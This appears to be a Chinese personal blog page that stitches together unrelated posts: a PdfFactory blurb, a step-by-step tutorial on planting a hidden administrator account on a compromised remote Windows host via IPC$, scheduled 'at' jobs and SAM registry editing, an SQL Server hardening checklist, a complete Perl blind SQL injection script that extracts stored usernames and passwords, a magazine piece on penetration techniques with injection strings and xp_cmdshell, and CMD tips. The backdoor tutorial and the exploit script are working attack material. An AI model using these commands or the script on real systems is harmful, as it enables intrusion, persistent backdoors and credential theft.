我的人生路 |
|
|||
日歷
統計
導航常用鏈接留言簿(5)隨筆分類隨筆檔案文章分類文章檔案相冊顏色
搜索最新評論
閱讀排行榜評論排行榜 |
PDF文檔是由Adobe公司開發的一種電子文檔格式,它能夠完整地保留源文檔中的所有字體、格式、顏色和圖形,并且具有跨平臺、可以加密等眾多優秀特性。現在許多報紙、雜志、小說都采用了PDF文檔作為其專用保存的電子書籍格式,它已經成為全世界電子文檔公開的事實標準。如果你也想制作PDF文檔,那么你可以試試PdfFactory這個軟件,使用它我們可以像打印普通文檔一樣來把文件“打印”成PDF文檔,非常方便。它是一款共享軟件,可在任何版本的Windows系統下運行。
一、人民幣 有schedule的服務,如果沒有開啟,可用流光里帶的工具netsvc.exe或sc.exe來遠程啟動,當然其方法也可以,只要能啟動schedule服 務就行。 對于命令行方式,你可以采用各種連接方式,如用SQLexec連接MSSQL的1433端口,也可以用telnet服務,只要以你能得到一個cmdshell ,并且有運行at命令的權限就可以。 1、首先找到一臺肉雞,至于如何來找那不是我這里所說的話題。這里先假設找到一臺超級用戶為administrator,密碼為12345678的肉 雞,現在我們開始在命令行下遠程為它建立隱藏的超級用戶。(例子中的主機是我的局域網內的一臺主機,我將它的ip地址改為 13.50.97.238,,請勿在互聯網上對號入座,以免騷擾正常的ip地址。) 2、先與肉雞建立連接,命令為: net use \\13.50.97.238\ipc$ "12345678" /user:"administrator 3、用at命令在肉雞上建立一個用戶(如果at服務沒有啟動,可用小榕的netsvc.exe或sc.exe來遠程啟動):at \\13.50.97.238 12:51 c:\winnt\system32\net.exe user hacker$ 1234 /add 建立這個加有$符的用戶名,是因為加有$符后,命令行下用net user將不顯示這個用戶,但在帳戶管理器卻能看到這個用戶。 4、同樣用at命令導出HKEY_LOCAL_MACHINE\sam\sam\Domains\account\users下鍵值:at \\13.50.97.238 12:55 c:\winnt\regedit.exe /e hacker.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account\users\ /e 是regedit.exe的參數,在HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account\users\這個鍵的一定要以\結尾。必要的情況下可以用引 號將"c:\winnt\regedit.exe /e hacker.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account\users\"引起來。 5、將肉雞上的hacker.reg下載到本機上用記事本打開進行編輯命令為:copy \\13.50.97.238\admin$\system32\hacker.reg c:\hacker.reg 修改的方法圖形界中已經介紹過了,這里就不作介紹了。 6、再將編輯好的hacker.reg拷回肉雞上 copy c:\hacker.reg \\13.50.97.238\admin$\system32\hacker1.reg 7、查看肉雞時間:net time \\13.50.97.238 然后用at命令將用戶hacker$刪除: at \\13.50.97.238 13:40 net user hacker$ /del 8、驗證hacker$是否刪除:用 net use \\13.50.97.238 /del 斷開與肉雞的連接。 net use \\13.50.97.238\ipc$ "1234" /user:"hacker$" 用帳戶hacker$與肉雞連接,不能連接說明已刪除。 9、再與肉雞建立連接:net use \\13.50.97.238\ipc$ "12345678" /user:"administrator" 再取得肉雞時間,用at命令將拷回肉雞的hacker1.reg導入肉雞注冊表: at \\13.50.97.238 13:41 c:\winnt\regedit.exe /s hacker1.reg regedit.exe的參數/s是指安靜模式。 10、再驗證hacker$是否已建立,方法同上面驗證hacker$是否被刪除一樣。 11、再驗證用戶hacker$是否有讀、寫、刪的權限,如果不放心,你還可驗證是否能建立其它帳戶。 12、通過11可以斷定用戶hacker$具有超級用戶權限,因為最初我用at命令建立它的時候是一個普通用戶,而現在卻具有遠 程讀、寫、刪的權限。 三、如果肉雞沒有開3389終端服務,而我又不想用命令行,怎么辦? 這種情況下,你也可以用界面方式來遠程為肉雞建立隱藏的超級用戶。因為regedit.exe、regedt32.exe都有連接網絡注冊表的功能, 你可以用regedt32.exe來為遠程主機的注冊表項設置權限,用regedit.exe來編輯遠程注冊表。帳戶管理器也有一項連另一臺計算機的 功能,你可以用帳戶管理器為遠程主機建立和刪除帳戶。具體步聚與上面介紹的相似,我就不多說了,只它的速度實在是令人難以忍受 。 但是這里有兩個前提:1、先用net use \\肉雞ip\ipc$ "密碼" /user:"超級用戶名"來與遠程主機建立連接以后,才能用regedit.exe regedt32.exe及帳戶管理器與遠程主機連接。 2、遠程主機必須開啟遠程注冊表服務(沒有開啟的話,你也可以遠程開啟,因為你有超級用戶的密碼了)。 四、利用被禁用的帳戶建立隱藏的超級用戶: 我們可以用肉雞上被禁止的用戶來建立隱藏的超組用戶.方法如下: 1.想辦法查看有哪些用戶被細心的管理員禁止,一般情況下,有些管理員出于安全考慮,通常會將guest禁用,當然了會禁用其它用戶 。在圖形界面下,非常容易,只要在帳戶管理器中就可以看到被禁用的帳戶上有一個紅叉;而在命令行下,我還沒有想到好的辦法,只 能在命令行下用命令:"net user 用戶名"一個一個來查看用戶是否被禁用。 2.在這里,我們假設用戶hacker被管理員禁用。首先,我先用小榕的超組用戶克隆程序CA.exe,將被禁用的用戶hacker 克隆成超級用 戶(克隆之后,被禁用的用戶hacker就會自動被激活了): CA.EXE \\肉雞ip administrator 超級用戶密碼 hacher hacher密碼。 3.如果你現在一個cmdshell,如利用telnet服務或SQLEXEC連接肉雞的msSQL的默認端口1433得到的shell都可以,這時你只要輸入命令 : net user hacker /active:no 這樣用戶hacker就被禁用了(至少表面上是這樣的),當然你也可以將用戶hacher換成其它的被禁用的 用戶。 4.這時如果你在圖形界面下看帳戶管理器中的用戶時,會發現用戶hacker被禁用了,但事實上是這樣的嗎?你用這個被禁用的用戶連接 一下肉雞看看是否能連上?用命令:net user \\肉雞ip\ipc$ "hacker密碼" /user:"hacker" 連一連看看。我可以告訴大家,經過我 多次試驗,次次都能成功,而且還是超級用戶權限。 5.如果沒有cmdshell怎么辦?你可以我上面介紹的at命令來禁用用戶hacker;命令格式:at \\肉雞ip 時間 net user hacker /active:no 6.原理:具體的高深的原理我也說不上來,我只能從最簡單的說。你先在圖形界面下在帳戶管理器中禁用一下超級用戶administrator 看看,肯定會彈出一對話框,并禁止你繼續禁用超級用戶administrator,同樣,因為在克隆時,hacker在注冊表的"F"鍵被超級用戶 administrator在注冊表的"F"鍵所替代,因而hacker就具有了超級用戶的權限了,但是由于hacker在注冊表內"C"健還是原來的"C"鍵, 所以hacker還是會被禁用,但是它的超級用戶權限卻不會被禁用,因此被禁用的用戶hacker還是可以連接肉雞,而且還具有超級用戶的 權限。具體我也說不明白,大家權且這么理解吧。 五、注意的幾點事項: 1、隱藏的超級用戶建立以后,在帳戶管理器中和命令行下均看不到這個用戶,但這個用戶卻存在。 2、隱藏的超級用戶建立以后,就不能再修改密碼了,因為一旦修改密碼,這個隱藏的超級用戶就會暴露在帳戶管理器中,而且不能刪 除。 3、如在本機上試驗時,最好用系統自帶的備份工具先備份好本機的“系統狀態”主要是注冊表的備份,因為本人做試驗時,曾出現過 帳戶管理器中看不到任何用戶,組中也看不到任何組的現象,但它們卻存在。幸好我有備份,呵呵。SAM鍵是畢竟系統最敏感的部位。 4、本方法在2000/XP上測試通過,未在NT上測試。本方法僅供研究,請勿將本方法用于破壞上,利用本方法造成嚴重后果者,由使用者 負責,本人概不負責。 4、轉載時請保留作者信息,謝謝! 李天東2002年12月23日完稿于東東網絡實驗室 1. 確認已經安裝了NT/2000和SQL Server的最新補丁程序,不用說大家應該已經安裝好了,但是我覺得最好還是在這里提醒一下。 2. 評估并且選擇一個考慮到最大的安全性但是同時又不影響功能的網絡協議。 多協議是明智的選擇, 但是它有時不能在異種的環境中使用。 3. 給 "sa" 和 "probe" 帳戶設定強壯的密碼來加強其安全性。設定一個強壯的密碼并將其保存在一個安全的地方。 注意: probe帳戶被用來進行性能分析和分發傳輸。 當在標準的安全模態中用的時候 , 給這個帳戶設定高強度的密碼能影響某些功能的使用。 4. 使用一個低特權用戶作為 SQL 服務器服務的查詢操作賬戶,不要用 LocalSystem 或sa。 這個帳戶應該有最小的權利 ( 注意作為一個服務運行的權利是必須的)和應該包含( 但不停止)在妥協的情況下對服務器的攻擊。 注意當使用企業管理器做以上設置時 , 文件,注冊表和使用者權利上的 ACLs同時被處理。 5. 確定所有的 SQL 服務器數據,而且系統文件是裝置在 NTFS 分區,且appropraite ACLs 被應用。 如果萬一某人得到對系統的存取操作權限,該層權限可以阻止入侵者破壞數據,避免造成一場大災難。 6.如果不使用Xp_cmdshell就關掉。 如果使用 SQL 6.5, 至少使用Server Options中的SQLExecutieCmdExec 賬戶操作限制非sa用戶使用XP_cmdshell. 在任何的 isql/ osql 窗口中( 或查詢分析器): use master exec sp_dropextendedproc'xp_cmdshell' 對 SQLExecutiveCmdExec 的詳細情況請查看下列文章: http://support.microsoft.com/support/kb/article/Q159/2/21. 如果你不需要 xp_cmdshell 那請停用它。請記住一個系統系統管理員如果需要的話總是能把它增加回來。這也好也不好 - 一個侵入者可能發現它不在,只需要把他加回來。考慮也除去在下面的 dll但是移除之前必須測試因為有些dll同時被一些程序所用。 要找到其他的程序是否使用相同的 dll: 首先得到該 dll 。 select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where c.id=o.id and o.name='xp_cmdshell' 其次,使用相同的 dll發現其他的擴展儲存操作是否使用該dll。 select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where c.id=o.id and c.text='xplog70.dll' 用戶可以用同樣的辦法處理下面步驟中其他你想去掉的進程。 7. 如不需要就停用對象連接與嵌入自動化儲存程序 ( 警告 - 當這些儲存程序被停用的時候 , 一些企業管理器功能可能丟失). 這些包括: Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty Sp_OAMethod Sp_OASetProperty Sp_OAStop 如果你決定停用該進程那么請給他們寫一個腳本這樣在以后你用到他們的時候你能夠把他們重新添加回來 。 記住, 我們在這里正在做的是鎖定一個應用程序的功能 - 你的開發平臺應該放到其他機器上。 8. 禁用你不需要的注冊表存取程序。(同上面的警告)這些包括: Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue Xp_regenumvalues Xp_regremovemultistring 注意 :我過去一直在這里列出 xp_regread/ xp_regwrite但是這些程序的移除影響一些主要功能包括日志和SP的安裝,所以他們的移除不被推薦。 9.移除其他你認為會造成威脅的系統儲存進程。 這種進程是相當多的,而且他們也會浪費一些cpu時間。 小心不要首先在一個配置好的服務器上這樣做。首先在開發的機器上測試,確認這樣不會影響到任何的系統功能。在下面是我們所推薦的有待你評估的一些列表: sp_sdidebug xp_availablemedia xp_cmdshell xp_deletemail xp_dirtree xp_dropwebtask xp_dsninfo xp_enumdsn xp_enumerrorlogs xp_enumgroups xp_enumqueuedtasks xp_eventlog xp_findnextmsg xp_fixeddrives xp_getfiledetails xp_getnetname xp_grantlogin xp_logevent xp_loginconfig xp_logininfo xp_makewebtask xp_msver xp_perfend xp_perfmonitor xp_perfsample xp_perfstart xp_readerrorlog xp_readmail xp_revokelogin xp_runwebtask xp_schedulersignal xp_sendmail xp_servicecontrol xp_snmp_getstate xp_snmp_raisetrap xp_sprintf xp_sqlinventory xp_sqlregister xp_sqltrace xp_sscanf xp_startmail xp_stopmail xp_subdirs xp_unc_to_drive xp_dirtree 10. 在企業管理器中"安全選項" 之下禁用默認登錄。(只有SQL 6.5) 當使用整合的安全時候,這使未經認可的不在 syslogins 表中使用者無權登陸一個有效的數據庫服務器。 11. 除去數據庫的guest賬戶把未經認可的使用者據之在外。 例外情況是master和 tempdb 數據庫,因為對他們guest帳戶是必需的。 12. 若非必須,請完全地禁用SQL郵件功能。它的存在使潛在的攻擊者遞送潛在的 trojans ,病毒或是簡單實現一個DOS攻擊成為可能 13. 檢查master..Sp_helpstartup看有無可疑的木馬進程。 確定沒有人已經在這里放置秘密的后門程序。 使用 Sp_unmakestartup 移除任何可疑進程。 14. 檢查master..Sp_password看有無trojan代碼。比較你的產品scripts和一個新安裝的系統的默認scripts而且方便的保存。 15. 記錄所有的用戶存取訪問情況。 從企業管理器做這些設定或通過以sa登陸進入查詢分析器的下列各項: xp_instance_regwrite N'HKEY_LOCAL_MACHINE', N'SOFTWARE\ Microsoft\MSSQLServer\MSSQLServer',N'AuditLevel',REG_DWORD,3 16. 重寫應用程序使用更多用戶定義的儲存和察看進程所以一般的對表的訪問可以被禁用。 在這里你也應該看到由于不必經常進行查詢計劃操作而帶來的性能提升。 17. 除去不需要的網絡協議。 18. 注意SQL 服務器的物理安全。把它鎖在固定的房間里,并且注意鑰匙的安全。只要有機會到服務器面前,就總是會找到一個方法進入。 19. 建立一個計劃的任務運行: findstr/C:" Login Failed"\mssql7\log\*.*' 然后再重定向輸出到一個文本文件或電子郵件,因此你監測失敗的登錄嘗試。這也為系統管理員提供一個好的記錄攻擊的方法。 也有很多用來分析NT日志事件的第三者工具。 注意: 你可能需要將路徑換成你安裝SQL的路徑。 20. 設定非法訪問和登陸失敗日志警報。到 企業管理器中的"Manager SQL Server Messages "搜尋任何有關無權訪問的消息 ( 從查找"login failed"和"denied"開始). 確定你所有感興趣的信息被記錄到事件日志。然后在這些信息上設定警報 , 發送一個電子郵件或信息到一個能夠對問題及時響應的操作員。 21. 確定在服務器和數據庫層次上的角色都只被授給了需要的用戶。 當 SQL Server 安全模型 7 有許多增強的時候, 它也增加額外的許可層,我們必須監控該層,確定沒有人被授予了超過必需的權限。 22. 經常檢查組或角色全體會員并且確定用組分配權限,這樣你的審計工作能夠簡化。 確定當你在的時候 , 公眾的組不能從系統表執行選擇操作。 23. 花些時間審計用空密碼登陸的請求。 使用下面的代碼進行空密碼檢查: 使用主體 選擇名字, password from syslogins where password is null order by name 24. 如果可能,在你的組織中利用整合的安全策略。 通過使用整合的安全策略,你能夠依賴系統的安全,最大簡化管理工作從維護二個分開的安全模型中分離開來。這也不讓密碼接近連接字串。 25. 檢查所有非sa用戶的存取進程和擴充存儲進程的權限。 使用下面的查詢定期的查詢哪一個進程有公眾存儲權限。(在SQL Server中 使用 "type" 而不是 "xtype"): Use master select sysobjects.name from sysobjects,sysprotects where sysprotects.uid=0 AND xtype 在 ('X','P') AND sysobjects.id=sysprotects.id Order by name 26. 當時用企業管理器的時候,使用整合的安全策略。 過去,企業管理器被發現在標準的安全模態中儲存 "sa" 密碼在注冊表的 plaintext 中。 注意: 即使你改變模態,密碼也會留在注冊表中。 使用 regedit 而且檢查鍵: HKEY_CURRENT_USER\SOFTWARE\Microsoft\ MSSQLServer\SQLEW\ Regedi\ SQL 6.5 現在數據被隱藏在 HKEY_USERS\{yourSID}\software\Microsoft\Microsoft SQL server\80\tool\SQLEW\registered server X\SQL server group ("SQL server組" 是默認值但是你可能已建立用戶組因此相應地改變其位置) 27. 發展一個審核計劃而且訂定每月的安全報告,對IT主管可用的報表包括任何的新exploit,成功的攻擊 , 備份保護 , 和對象存取失敗統計。 28. 不要允許使用者交互式登陸到 SQL Server之上。這個規則適用任何的服務器。 一旦一個使用者能夠交互式進入一個服務器之內,就有能用來獲得管理員的存取特權得到管理員權限。 30. 盡力限制對SQL Server的查詢與存取操作。 用戶可以用最小權限查詢sql server中的很多東西。若非必須不要給他們機會
#!/usr/bin/perl use IO::Socket; use threads; $lhost = $ARGV[0];#主機IP $port = $ARGV[1];#端口號,默認80 $path = $ARGV[2]; $id = $ARGV[3]; $mod = $ARGV[4]; $char = $ARGV[5]; $argv_len=@ARGV; if($argv_len<=4) { usage(); exit(); } if($mod==0) { get_user_len($id); get_pwd_len($id); } elsif($mod==1) { #get_user($id,$char); my $i; for($i=1;$i<=$char;$i++) { $t[$i]=threads->new(\&get_user,$id,$i); } for($i=1;$i<=$char;$i++) { $t[$i]->join(); } } elsif($mod==2) { #get_pwd($id,$char); my $i; for($i=1;$i<=$char;$i++) { $t[$i]=threads->new(\&get_pwd,$id,$i); } for($i=1;$i<=$char;$i++) { $t[$i]->join(); } } exit(); sub get_user() { my($id,$char_now)=@_; my $aaa=bin_s(0,123,$path,$char_now,$id); print "The $char_now char:".chr($aaa)."\n"; } sub bin_s() { my ($low,$high,$path,$char_now,$id)=@_; my $lh=($low+$high)/2; my $aaaa=$lh-int($lh); my $mid; if($aaaa>0) { $mid=int($lh)+1; } else { $mid=int($lh); } my $mid_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*%0 9from%09userinfo%09where%09id%3D".$id."%09and%09asc(mid(user ,$char_now,1))>".$mid."%09and%09'1%3D1"); my $mid1_flag; if($mid_flag==0) { $mid1_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*% 09from%09userinfo%09where%09id%3D".$id."%09and%09asc(mid(use r,$char_now,1))%3D".$mid."%09and%09'1%3D1"); } else { $mid1_flag=0; } #print "\n low:$low mid:$mid high:$high $mid_flag $mid1_flag char_now:$char_now id:$id"; if($mid_flag==0&&$mid1_flag==1) { return $mid; } elsif($mid_flag==1&&$mid1_flag==0) { bin_s($mid,$high,$path,$char_now,$id); } elsif($mid_flag==0&&$mid1_flag==0) { bin_s($low,$mid,$path,$char_now,$id); } } sub get_pwd() { my($id,$char_now)=@_; my $aaa=bin_pwd_s(0,123,$path,$char_now,$id); print "The $char_now char:".chr($aaa)."\n"; } sub bin_pwd_s() { my ($low,$high,$path,$char_now,$id)=@_; my $lh=($low+$high)/2; my $aaaa=$lh-int($lh); my $mid; if($aaaa>0) { $mid=int($lh)+1; } else { $mid=int($lh); } my $mid_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*%0 9from%09userinfo%09where%09id%3D".$id."%09and%09asc(mid(pwd, $char_now,1))>".$mid."%09and%09'1%3D1"); my $mid1_flag; if($mid_flag==0) { $mid1_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*% 09from%09userinfo%09where%09id%3D".$id."%09and%09asc(mid(pwd ,$char_now,1))%3D".$mid."%09and%09'1%3D1"); } else { $mid1_flag=0; } #print "\n low:$low mid:$mid high:$high $mid_flag $mid1_flag char_now:$char_now id:$id"; if($mid_flag==0&&$mid1_flag==1) { return $mid; } elsif($mid_flag==1&&$mid1_flag==0) { bin_pwd_s($mid,$high,$path,$char_now,$id); } elsif($mid_flag==0&&$mid1_flag==0) { bin_pwd_s($low,$mid,$path,$char_now,$id); } } sub get_user_len() { my($id)=@_; for($user_j=1;$user_j<=30;$user_j++) { $user_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*% 09from%09userinfo%09where%09id%3D".$id."%09and%09len(user)%3 D".$user_j."%09and%09'1%3D1"); if($user_flag==1){last;} } if($user_j<31) { print "User_length of id $id: $user_j\n"; } else { print "Can't get user length\n"; } return $user_j; } sub get_pwd_len() { my($id)=@_; my $user_j,$user_flag; for($user_j=1;$user_j<=30;$user_j++) { $user_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*% 09from%09userinfo%09where%09id%3D".$id."%09and%09len(pwd)%3D ".$user_j."%09and%09'1%3D1"); if($user_flag==1){last;} } if($user_j<31) { print "Pass_length of id $id: $user_j\n"; } else { print "Can't get password length\n"; } return $user_j; } sub GetRequest() { my($lpath,$usercookie)=@_; $remote=IO::Socket::INET->new (Proto => "tcp", PeerAddr=>$lhost, PeerPort => $port, Type => SOCK_STREAM) or die "Couldnt connect to $lhost:$port : $@\n"; $remote->autoflush(1); $content=" type=save&pwd=tttttt3333tttt&pwd1=&pwd2=&oic q=33337788&email=fsadf@fsf.com&homepage=&qm=& ;softurl=&b1=%C8%B7%C8%CF%D0%DE%B8%C4 "; $length=length($content); $post="POST ".$lpath." HTTP/1.1\r\n". "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*\r\n". "Referer: http://".$lhost.":".$port."/".$path."\r\n". "Accept-Language: zh-cn\r\n". "Content-Type: application/x-www-form-urlencoded\r\n". "Accept-Encoding: gzip, deflate\r\n". "User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE2)\r\n". "Host: $lhost\r\n". "Content-Length: ".$length."\r\n". "Connection: Keep-Alive\r\n". "Cache-Control: no-cache\r\n". "Cookie:iscookies=0; JyDownUserDj=0; JyDownUserName=".$usercookie."\r\n\r\n". $content; print $remote $post; my $flag=0; for($i=1;$i<=40;$i++) { $line=<$remote>; if(index($line,"原密碼錯誤")!=-1) { $flag=1; } } close $remote; return $flag; } sub usage() { print "$0 host port path id mod char\n"; print "mod 0 用戶名和密碼長度 1 猜用戶 2 猜密碼\n"; print "char 猜測字符位置 1-20"; } 本文已發表在chip 滲透是指入侵者直接用被入侵對象原有的功能來完成的入侵,它可以使用各種方法進行。無論是個人用戶、數據庫管理員還是網站管理員,要構造一個安全的網站論壇、數據庫服務器以及安全的SQL語句腳本,了解滲透技術潛在的危害都非常有必要。 很多用戶都有這樣一種感覺:計算機信息安全技術或者黑客關心的一些東西都比較高深,其實不然,比如滲透技術,可能僅僅是這個專業的技術名詞就已經讓你有點眩暈了,但是你知道嗎,在日常的計算機應用中,你常常會與滲透技術擦肩而過。 讓我們舉一個小例子來做個簡單的說明:如果我告訴你“’ or 1=1’”這是某個用戶在某個論壇注冊的用戶名或者密碼,你會想到些什么呢?如果你稍微有一點SQL語言的常識的話,就會明白這個用戶名意味著什么,你就會明白“Select u_name from userlst where u_name=xxx”與“Select u_name from userlst where u_name=xxx or 1=1”之間的巨大差異。對一個安全系數不高的網站來說,黑客可以輕松地利用類似的簡單SQL語句對網站 非法訪問或者攻擊,而這些,僅僅是滲透技術冰山之一角。 試探 “站住!干什么的?”守衛叫住這個在司令部門前徘徊了許久的年輕人。“游客。”年輕人看著守衛,眼神出奇地平靜,他似乎有意無意地看了不遠處的司令部一眼,落日余輝籠罩下的司令部顯得如此神秘。然后,年輕人在守衛警惕的目光下瀟灑離去。 滲透,或稱Penetrate,它不屬于某一種入侵方法,也不屬于某種工具。滲透是指入侵者直接用被入侵對象原有的功能來完成的入侵,它可以使用各種方法進行。這些原有的功能看起來是那么忠心,可是當它們被入侵者掌握后,卻成了入侵者得力的工具。 在一切工作開始之前,入侵者們需要試探。包括目標的功能、漏洞,這些信息在以后的工作中起著重要作用,這一過程稱為“掃描”。一般,入侵者們用的掃描器都能匯報大部分已經存在的漏洞和對方提供的服務。當收集到一定數據后,入侵者們就可以決定入侵還是放棄。 偷襲 前面已經提到,滲透有多種表現形式,目前流行的滲透技術表現方式有特殊權限目錄、論壇滲透、SQL注射等幾種。 突破特殊權限目錄 夜深了,守衛正在昏昏欲睡。突然間,一個黑影迅速翻越圍墻進了司令部,正是那個白天在司令部門前逗留過一段時間的年輕人,他戴著特制手套,圍墻上的玻璃也被弄了一些下來,散落在地上,在月光下閃爍著。年輕人無暇顧及這些,一個轉身躲進了暗處。他是一個特工,他的任務是竊取敵方最新的戰略分布圖。為此,他設法觀察這個司令部好幾天了,今天終于發現一處戒備疏松的入口。 一般,服務器都會設置一些擁有特殊功能的目錄,這些目錄用于擴充服務器提供的功能,它們能執行腳本程序,例如論壇。 正因為如此,這些目錄里的程序常常會做出異常的事情。服務器上的程序通過處理不同內容的數據請求來實現功能擴充和人機交互,但是,就連程序的編寫者也沒辦法考慮到對方可能會發出什么樣數據,而程序只會死板地接受指令干活,于是,危險隨時都可能發生。如果入侵者發送一個特殊格式的數據給服務器,由于服務器上處理數據的程序并沒有對這種數據做出處理,直接的結果就是程序被溢出,或者執行了入侵者的非法請求,例如要求進入未經允許的目錄、查看非授權文件等。因為程序根本不會思考,就乖乖實現了入侵者的心愿。 還記得那個最經典的目錄滲透嗎——“IIS的二次編碼漏洞”正是因為作者沒有考慮到一些特殊字符的作用,導致入侵者使用瀏覽器或別人開發的工具就輕松進入了服務器(圖1)。 ![]() 圖1 IIS的“二次編碼漏洞”導致了目錄滲透。 當然,免費的午餐不一定都好吃,服務器雖然安排了特殊權限目錄,可是也不會給它們太多權限。用這種方法滲透的入侵者,充其量不過是個“客人”的角色,能做多少事情?可想而知,入侵者們絕不肯就此罷休。 脆弱的論壇 司令部的側門開了,也許因為天氣悶熱,一個戴眼鏡的軍官出來透氣。他看到墻邊那一堆閃亮的東西,忙走了過去。可是他還沒來得及細看,就倒在那堆玻璃上,年輕人的身影出現在他身后。潛入的特工換上軍官的軍服,連同帽子和眼鏡,然后拿了他的鑰匙串,踱著步子走進了司令部。 論壇建立在特殊權限目錄的基礎上,為服務器開擴了互動的功能,當然也成為入侵者喜愛的一塊“肥肉”。因為論壇是由多個文件組合起來的,只要某個文件的編寫出了問題,論壇就很可能成為入侵者的鑰匙。國內一些著名論壇如DVBBS和LB5000都是入侵者的最愛,因為這些論壇強大的功能讓他們能直接取得整個機器的控制權。入侵者甚至只要設法在LB5000的某個文件里寫下一行“@ARGV”就能直接進入系統內部。可以這么說:論壇是入侵者最大的“舞臺”。 究其原因,是論壇程序作者編寫的代碼不嚴密造成的。由于論壇程序的代碼是完全透明的,稍有用心的人分析了整個代碼就能知道哪一步會出問題——不要以為那些教程上的命令是作者亂按鍵盤得來的。一旦論壇被滲透,最輕的后果是入侵者坐上管理員的位置,嚴重的就是入侵者又多了一臺被控制的機器(圖2)。 ![]() 圖2 黑客利用滲透技術提升LB5000用戶權限。 突破口令的防線 特工把帽檐壓得很低,司令部里居然沒人認出他。他走到深處空無一人的情報間前面,發現這里需要輸入一個四位數的密碼,鍵盤下還有一個打印機接口樣式的數據孔。特工從懷里拿出一個小機器和數據孔連接上了,然后就開始緊張地等待著什么。 有時候,一個論壇程序或者其他需要密碼的入口程序已經被修改得很安全,直接用以前出問題的代碼顯然是不可能了,難道入侵就這樣停止了?不,入侵者們當然不會輕易放棄。 現在最通用的服務器程序是微軟的IIS網絡信息服務器+ASP活動頁面的組合,而這兩者最主要的操作就是數據庫讀寫——IIS使用數據庫存儲資料已經成了標準,可正是這個標準又把服務器的安全推到了危險的邊緣。 SQL注射(SQL Injection)是最近比較熱的滲透方法,那么,SQL注射是什么?寫過數據庫程序的朋友都知道,數據庫操作需要用戶名和密碼,否則不允許打開。這些密碼通過固定的格式傳輸,這就是“結構化查詢語言”(Structured Query Language)。但是在這個環節上卻出了差錯:我們能直接閱讀到網站的資料是因為作者已經把密碼保存在某個文件里面讓系統自己提交了。因此,入侵者可以在某個涉及到數據庫調用的文件地址后增加一個SQL判斷語句來追查密碼長度,甚至推測具體密碼,例如“data.asp?id=1 and 1=(select id from admin where left(password,5)='lk007')”,如果密碼正好是“lk007”,文章就正常顯示,因為語句中的“and”查詢符兩邊相等了。這樣一步一步下來,入侵者就拿到了完整的密碼。這個手法在國外被稱為“駭客的SQL填空游戲”,有趣吧?網絡管理員可笑不出來。 打入核心 幾分鐘過去后,特工輸入了正確密碼,門開了。在他意料之外,里面還有個操作員!距離太近了,操作員認出他并非自己人。 “間諜……”操作員還沒說完話就被彈了起來,頭撞到了頂板,瞬間沒了氣息。原來特工按下了門旁的應急按鈕,它的設計初衷是把非法入侵者直接扼殺在里面。可是它不會認人,只要你輸入了正確密碼,它就能為你所用。 特工取到了他要的資料,壓低帽檐走了出去,情報間的門悄然關上了,就像什么都沒發生過。趁著夜色,特工逃離了司令部。 SQL太強大了,不過這次不是SQL語言,而是SQL服務器程序SQL Server,它給用戶提供強大功能的同時,也遞給入侵者一把“榔頭”。在SQL Server中有很多系統存儲過程,有些是數據庫內部使用的,還有一些就是通過執行存儲過程來調用系統命令。直接危害服務器的是系統存儲過程指令“xp_cmdshell”,它以操作系統命令行解釋器的方式執行給定的命令字符串,但是它有個致命弱點:它不認人,只要入侵者得到了賬號,他同樣可以執行很多命令,直接危害服務器。也許你會說,這點無所謂,賬號不是那么容易拿的。但是不爭氣的SQL Server卻存在多種能讓入侵者得到賬號的漏洞,然后(圖3)…… ![]() 圖3 針對SQL服務器的xp_cmdshell入侵程序。 其實,入侵者直接在瀏覽器里輸入SQL指令就可以,例如“exec master.dbo.xp_cmdshell '命令行'”。 防范 深夜里,司令部響起了警報。一個士兵無意中發現了倒在地上的軍官,爾后人們看到了情報間里操作員的尸體。整個司令部立即進入A級警戒狀態,所有人都要經過嚴密身份識別才被批準進入。 然而,特工還會來嗎? 發現服務器被入侵的時候,入侵者已經絕塵而去,廣大網絡管理員最痛心疾首的事情莫過于此,如果上天給他們一個重來的機會,他們會祈禱入侵者進不來,如果要加一個期限,他們希望是——永遠。 話雖如此,但是,不見得每個Webmaster的技術都足夠抵擋一切入侵,也不是所有程序都不會有出錯的一天,我們應該如何預防滲透技術可能帶來的危害呢?看了上面的文章和理論分析,不難得出以下有效的防范措施: 1.確保操作系統、數據庫服務器、程序開發語言都打上了最新的補丁程序,如Service Pack以及相應服務器程序的補丁,并記得一定要時刻開啟防火墻功能; 2.時刻關注自己服務器的論壇程序最新情況,增加必要的字段過濾; 3.留意用戶組的變化,密切注意奇怪的用戶名,對用戶名和密碼注冊采取嚴格的限制策略; 4.定時分析操作系統和數據庫日志文件。 一、自定義窗口標題 以Win2000為例,CMD默認的窗口標題一般為“C:WINNTSystem32cmd.exe”。如果想要個性化一點的話,可以使用“Title string”命令來重新設置,其中string用來指定命令提示符窗口的標題。例:輸入“Title 天天的控制平臺”(引號不要輸入,下同),標題就被設置為“天天的控制平臺”(可以按Ctrl+Shift組合鍵調出中文輸入法來輸入漢字)(如圖1)。 二、彩色的命令行 “color”是Windows 2000及以上版本中特有的命令,主要功能就是用來改變命令行窗口的顏色。顏色屬性由兩個十六進制數字指定——第一個為背景,第二個則為前景。每個數字可以為以下任何值之一: 0=黑色 8=灰色 1=藍色 9=淡藍色 2=綠色 A=淡綠色 3=湖藍色 B=淡淺綠色 4=紅色 C=淡紅色 5=紫色 D=淡紫色 6=黃色 E=淡黃色 7=白色 F=亮白色 例如,“Color A9”是在綠色背景下產生亮藍色。 提示:如果想恢復到初始狀態,只需不帶任何參數的運行一次color命令即可,這將會還原到啟動時的顏色(黑底白字)。 三、顛覆你的提示符 如果你想使自己愛機的提示符像筆者的一樣有個性(如圖2),那么就得使用“prompt”命令了。格式如下: prompt 